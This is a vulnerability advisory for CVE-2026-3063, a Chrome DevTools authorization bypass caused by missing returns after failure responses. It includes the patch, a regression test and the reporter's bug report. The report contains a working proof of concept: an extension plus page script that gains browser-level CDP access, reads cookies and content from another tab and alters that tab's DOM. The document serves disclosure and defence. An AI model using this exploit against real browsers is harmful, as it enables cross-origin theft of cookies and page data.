CVE-2026-3063
Overview
Background
- `Target.exposeDevToolsProtocol`
- a Chrome DevTools Protocol (CDP) method that installs a JavaScript binding (named by
bindingName) in a page target, letting script in that page send CDP commands through aBrowserToPageConnector. - `TargetHandler` / `access_mode_`
- the browser-process handler for the CDP
Targetdomain;access_mode_records how privileged the attached client is, and onlyAccessMode::kBrowser(a full browser-level session) is meant to grant this binding. - `ExposeDevToolsProtocolCallback`
- the async response callback;
callback->sendFailure(...)sends an error reply to the client but does not by itself stop the function from running. - `BrowserToPageConnector::GetInstanceMap()`
- a map from
DevToolsAgentHostto an existing connector, used to detect that a target already has the bindings.
Root Cause Analysis
The handler for Target.exposeDevToolsProtocol in content/browser/devtools/protocol/target_handler.cc runs four precondition checks. Each one called callback->sendFailure(...) but had no return, so execution fell through to the code that builds BrowserConnectorHostClientPermissions and grants the binding.
As a result, the access check (access_mode_ != AccessMode::kBrowser) only reported an error: a client without browser-level access still had the protocol binding installed in the target page. The same fall-through applied to the other checks. A null agent_host would go on to agent_host->GetWebContents(), a target that already had bindings would get another connector, and a non-page target would continue past the GetWebContents() check; each of these would also invoke the callback more than once (consequences inferred).
The patch adds return; after each sendFailure, turning the checks into real early exits. The updated web test confirms the intended rule: it now calls exposeDevToolsProtocol from a full browser session (attachFullBrowserSession()) instead of the page-scoped session it used before. The hunk header does not name the enclosing function; it is identified as the Target.exposeDevToolsProtocol handler from its callback type and error strings.
return after each sendFailure makes the checks actually enforce their conditions.Attack Path
- Obtain a non-browser CDP session
The attacker controls a DevTools protocol client whose
TargetHandlerhas anaccess_mode_other thanAccessMode::kBrowser, such as a page-scoped session like the one the old web test used (the exact client type, e.g. an extension debugger session, is inferred). - Call `Target.exposeDevToolsProtocol`
The client asks for the binding on a page target it can name by
targetId. - Check fails but execution continues
The handler sends
kNotAllowedErrorbut, before the fix, goes on to create theBrowserToPageConnectorwith the requested permissions. - Page gains CDP access Script in the target page can then issue DevTools protocol commands through the exposed binding, using capabilities the restricted client was not supposed to grant (inferred extent).
Impact Assessment
AccessMode::kBrowser restriction in the browser process. The precondition is an attacker-controlled DevTools protocol session with reduced access, for example through an extension or another restricted CDP client (inferred); ordinary web content without such a session does not reach this handler. The vendor rates it high severity, and no exploitation in the wild is reported; escalation from that page-level CDP access to broader browser control, or crashes from the null agent_host dereference or repeated callback use, are (inferred).Changed Functions
| Function | Change | Notes |
|---|---|---|
ifcontent/browser/devtools/protocol/target_handler.cc |
modified |
Files Changed
content/browser/devtools/protocol/target_handler.ccthird_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
Audit Directions
- Report-but-continue error handlingSearch CDP handlers (and other async callback-style handlers) for
sendFailure,Response::...Errororstd::move(callback).Run(error)that are not followed byreturn, especially when the check is an authorization gate. - Access-mode gates in DevTools handlersCheck every use of
access_mode_/AccessModeand of the “may attach / may read” client permission checks to make sure denied calls actually terminate before any side effect. - Double-invoked callbacksLook for code paths where a response callback can be called more than once, which often signals a missing early exit and may hide use-after-move or state-confusion bugs.
Patch
From 111ecbc657c45da1115a6bb97157721e11cbb82c Mon Sep 17 00:00:00 2001
From: Alex Rudenko <alexrudenko@chromium.org>
Date: Wed, 18 Feb 2026 01:59:58 -0800
Subject: [PATCH] Fix missing returns in target_handler
Fixed: 485287859
Change-Id: I7f3782719e60bd4d2792c9e8703c967e75d22469
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7585522
Commit-Queue: Philip Pfaffe <pfaffe@chromium.org>
Auto-Submit: Alex Rudenko <alexrudenko@chromium.org>
Commit-Queue: Alex Rudenko <alexrudenko@chromium.org>
Reviewed-by: Philip Pfaffe <pfaffe@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1586296}
---
diff --git a/content/browser/devtools/protocol/target_handler.cc b/content/browser/devtools/protocol/target_handler.cc
index 8c491e4..18f066a 100644
--- a/content/browser/devtools/protocol/target_handler.cc
+++ b/content/browser/devtools/protocol/target_handler.cc
@@ -1257,21 +1257,25 @@
std::unique_ptr<ExposeDevToolsProtocolCallback> callback) {
if (access_mode_ != AccessMode::kBrowser) {
callback->sendFailure(Response::InvalidParams(kNotAllowedError));
+ return;
}
scoped_refptr<DevToolsAgentHost> agent_host =
DevToolsAgentHost::GetForId(target_id);
if (!agent_host) {
callback->sendFailure(Response::InvalidParams(kTargetNotFound));
+ return;
}
if (BrowserToPageConnector::GetInstanceMap()[agent_host.get()]) {
callback->sendFailure(Response::ServerError(base::StringPrintf(
"Target with id %s is already granted remote debugging bindings.",
target_id.c_str())));
+ return;
}
if (!agent_host->GetWebContents()) {
callback->sendFailure(Response::ServerError(
"RemoteDebuggingBinding can be granted only to page targets"));
+ return;
}
BrowserConnectorHostClientPermissions permissions;
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
index 5a1362ae..f3100a3 100644
--- a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
@@ -1,10 +1,16 @@
(async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
- const {page, session, dp} = await testRunner.startBlank(
+ const {page, session} = await testRunner.startBlank(
'Verify that Target.exposeDevToolsProtocol scoped to the default execution context.');
- await dp.Target.exposeDevToolsProtocol(
- {targetId: page._targetId, bindingName: 'cdp'});
+ const browserSession = await testRunner.attachFullBrowserSession();
+ const bp = browserSession.protocol;
+
+ await bp.Target.exposeDevToolsProtocol(
+ {targetId: page.targetId(), bindingName: 'cdp'});
+
+ const dp = session.protocol;
await dp.Runtime.enable();
+ await dp.Page.enable();
dp.Page.createIsolatedWorld({frameId: page._targetId, worldName: 'foo'});
const contextFoo =
(await dp.Runtime.onceExecutionContextCreated()).params.context.id;
Regression Test / PoC
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
index 5a1362ae..f3100a3 100644
--- a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
@@ -1,10 +1,16 @@
(async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
- const {page, session, dp} = await testRunner.startBlank(
+ const {page, session} = await testRunner.startBlank(
'Verify that Target.exposeDevToolsProtocol scoped to the default execution context.');
- await dp.Target.exposeDevToolsProtocol(
- {targetId: page._targetId, bindingName: 'cdp'});
+ const browserSession = await testRunner.attachFullBrowserSession();
+ const bp = browserSession.protocol;
+
+ await bp.Target.exposeDevToolsProtocol(
+ {targetId: page.targetId(), bindingName: 'cdp'});
+
+ const dp = session.protocol;
await dp.Runtime.enable();
+ await dp.Page.enable();
dp.Page.createIsolatedWorld({frameId: page._targetId, worldName: 'foo'});
const contextFoo =
(await dp.Runtime.onceExecutionContextCreated()).params.context.id;
Original Bug Report
Authorization Bypass in Target.exposeDevToolsProtocol via Missing Early Return
Report description
Authorization Bypass in Target.exposeDevToolsProtocol via Missing Early Return
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
https://github.com/chromium/chromium
The problem
Please describe the technical details of the vulnerability
Summary
When an untrusted chrome.debugger client calls Target.exposeDevToolsProtocol, the API returns Not allowed but does not exit. Due to missing return statements after sendFailure(...), execution falls through and creates BrowserToPageConnector, injecting a window.cdp bridge into the page with browser-level CDP access.
Test Environment
- Verification date: 2026-02-18
- Chrome version: 144.0.7559.109 (Linux)
- Source reference commit:
88547700c7111c05932d805609d48be9e92a4f87
PoC Setup
mkdir -p poc/ext poc/page && cd poc
cat > ext/manifest.json <<'EOF'
{
"manifest_version": 3, "name": "PoC", "version": "1.0",
"permissions": ["debugger", "activeTab"],
"background": { "service_worker": "background.js" },
"action": { "default_title": "Trigger" }
}
EOF
cat > ext/background.js <<'EOF'
chrome.action.onClicked.addListener(async (tab) => {
try {
await chrome.debugger.attach({ tabId: tab.id }, '1.3');
const { targetInfo } = await chrome.debugger.sendCommand(
{ tabId: tab.id }, 'Target.getTargetInfo');
// sendFailure("Not allowed") fires but has no return.
// BrowserToPageConnector is created anyway.
try {
await chrome.debugger.sendCommand({ tabId: tab.id },
'Target.exposeDevToolsProtocol',
{ targetId: targetInfo.targetId, bindingName: 'cdp' });
} catch (_) {}
await chrome.debugger.detach({ tabId: tab.id });
} catch (e) {
try { await chrome.debugger.detach({ tabId: tab.id }); } catch (_) {}
}
});
EOF
cat > page/index.html <<'EOF'
<!doctype html>
<html><head><meta charset="utf-8"><title>PoC</title>
<style>
body { font: 13px/1.6 monospace; background: #111; color: #999; padding: 24px }
.g { color: #5a5 } .r { color: #a55 } .w { color: #ddd } .d { color: #555 }
.data { border-left: 2px solid #a80; padding: 6px 14px; margin: 4px 0 4px 12px;
color: #ca5; background: #1a1400; white-space: pre-wrap; word-break: break-all }
</style></head><body>
<b>Target.exposeDevToolsProtocol - missing return after sendFailure</b><br>
<small style="color:#555">browser-level CDP from page JS via window.cdp</small>
<p id="wait">click the extension icon on this tab to trigger</p>
<div id="out"></div>
<script>
(function() {
var out = document.getElementById('out'), wait = document.getElementById('wait');
function log(s, c) {
var e = document.createElement('div');
if (c) e.className = c; e.textContent = s; out.appendChild(e);
}
function data(s) {
var e = document.createElement('pre');
e.className = 'data'; e.textContent = s; out.appendChild(e);
}
(function poll() { if (!window.cdp) return setTimeout(poll, 400); wait.hidden = true; run() })();
function run() {
var here = location.href, session, seq = 0;
cdp.onmessage = function(raw) {
var m; try { m = JSON.parse(raw) } catch(e) { return }
if (m.method === 'Target.receivedMessageFromTarget') {
try { onVictim(JSON.parse(m.params.message)) } catch(e) {} return;
}
if (m.id === 1 && m.result) onTargets(m.result.targetInfos || []);
if (m.id === 2 && m.result) onAttach(m.result);
if (m.id <= 2 && m.error) log('error: ' + m.error.message, 'r');
};
log('window.cdp binding detected', 'g'); log('');
log('Target.getTargets', 'w');
cdp.send(JSON.stringify({ id: 1, method: 'Target.getTargets', params: {} }));
function onTargets(list) {
list.forEach(function(t) { log(' ' + t.type + ' ' + t.url, 'd') }); log('');
var v = list.find(function(t) {
return t.type === 'page' && t.url !== here && !/^(devtools|chrome|about):/.test(t.url);
});
if (!v) return log('no cross-origin tab. open another tab and re-trigger.', 'r');
log('Target.attachToTarget ' + v.url, 'w');
cdp.send(JSON.stringify({ id: 2, method: 'Target.attachToTarget',
params: { targetId: v.targetId, flatten: false } }));
}
function onAttach(res) {
if (!res.sessionId) return log('attach failed', 'r');
session = res.sessionId;
log(' session ' + session.substring(0, 20) + '...', 'g'); log('');
log('Runtime.evaluate in victim (read)', 'w');
evalVictim(101, 'JSON.stringify({u:location.href,t:document.title,c:document.cookie,' +
'b:document.body.innerText.substring(0,500)})');
}
function onVictim(m) {
if (m.id === 101 && m.result && m.result.result) {
try {
var d = JSON.parse(m.result.result.value);
log(' stolen from ' + d.u, 'g');
data('title: ' + d.t + '\ncookie: ' + (d.c || '(none)') +
'\ncontent: ' + d.b.substring(0, 300));
} catch(e) { log(' raw: ' + m.result.result.value, 'g') }
log(''); log('Runtime.evaluate in victim (inject DOM)', 'w');
evalVictim(102, 'var b=document.createElement("div");' +
'b.setAttribute("style","position:fixed;top:0;left:0;right:0;z-index:2147483647;' +
'padding:14px 20px;background:#b00;color:#fff;font:bold 14px/1 monospace;text-align:center");' +
'b.textContent="Cross-origin write via CDP bypass";' +
'document.documentElement.prepend(b);"injected"');
}
if (m.id === 102 && m.result) {
log(' victim DOM modified', 'g'); log('');
log('done. switch to the victim tab to see the red banner.', 'w');
}
if (m.error) log(' victim: ' + m.error.message, 'r');
}
function evalVictim(id, expr) {
cdp.send(JSON.stringify({ id: ++seq + 10, method: 'Target.sendMessageToTarget',
params: { sessionId: session, message: JSON.stringify({
id: id, method: 'Runtime.evaluate', params: { expression: expr } }) } }));
}
}
})();
</script></body></html>
EOF
Reproduction Steps
1. Create files and start server
# Run the setup block above, then:
python3 -m http.server 8000 --directory page
2. Launch Chrome
Open a second terminal:
google-chrome \
--user-data-dir="$(mktemp -d)" \
--no-first-run \
--no-default-browser-check \
"http://127.0.0.1:8000/index.html"
3. Load extension
- Navigate to
chrome://extensions. - Enable Developer mode (toggle, top right).
- Click Load unpacked and select the
ext/directory. - Return to the
http://127.0.0.1:8000/index.htmltab.
4. Open victim tab
Open a new tab and navigate to https://example.com.
5. Trigger
- Switch back to the PoC tab (
127.0.0.1:8000). - Click the extension icon in the toolbar.
6. Observe
On the PoC page:
window.cdp binding detectedconfirms the bypass.Target.getTargetslists all browser tabs including the victim.stolen from https://example.com/shows cross-origin content read (title, cookies, body text).victim DOM modifiedconfirms cross-origin write.
Switch to the victim tab (example.com). A red banner reading “Cross-origin write via CDP bypass” is injected at the top of the page.
Actual vs Expected
Actual
Target.exposeDevToolsProtocolreturnsNot allowed.BrowserToPageConnectoris created anyway.window.cdpis injected with browser-level access.- Cross-origin read and write demonstrated.
Expected
- Request is denied.
- Function returns immediately.
- No connector, no binding, no cross-origin access.
Recommended Fix
Add return; after each callback->sendFailure(...) in TargetHandler::ExposeDevToolsProtocol(...).
Source References
- https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/content/browser/devtools/protocol/target_handler.cc
- https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/content/public/browser/devtools_agent_host_client.cc
- https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/chrome/browser/extensions/api/debugger/debugger_api.cc
Impact analysis
Impact
An extension with debugger permission can escalate from tab-scoped debugging to full browser-level CDP via page JavaScript.
Demonstrated capabilities after trigger:
- Read cross-origin page content (title, cookies, body text) from any tab.
- Write to cross-origin DOM (inject arbitrary elements into any tab).
- Enumerate all browser targets beyond the original attachment scope.
The cause
What version of Chrome have you found the security issue in?
144.0.7559.109
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Privilege Escalation
How would you like to be publicly acknowledged for your report?
M. Fauzan Wijaya (Gh05t666nero)
- http://127.0.0.1:8000/index.html
- https://bughunters.google.com/about/rules/5745167867576320/chrome-vulnerability-reward-program-rules
- https://github.com/chromium/chromium
- https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/chrome/browser/extensions/api/debugger/debugger_api.cc
- https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/content/browser/devtools/protocol/target_handler.cc
- https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/content/public/browser/devtools_agent_host_client.cc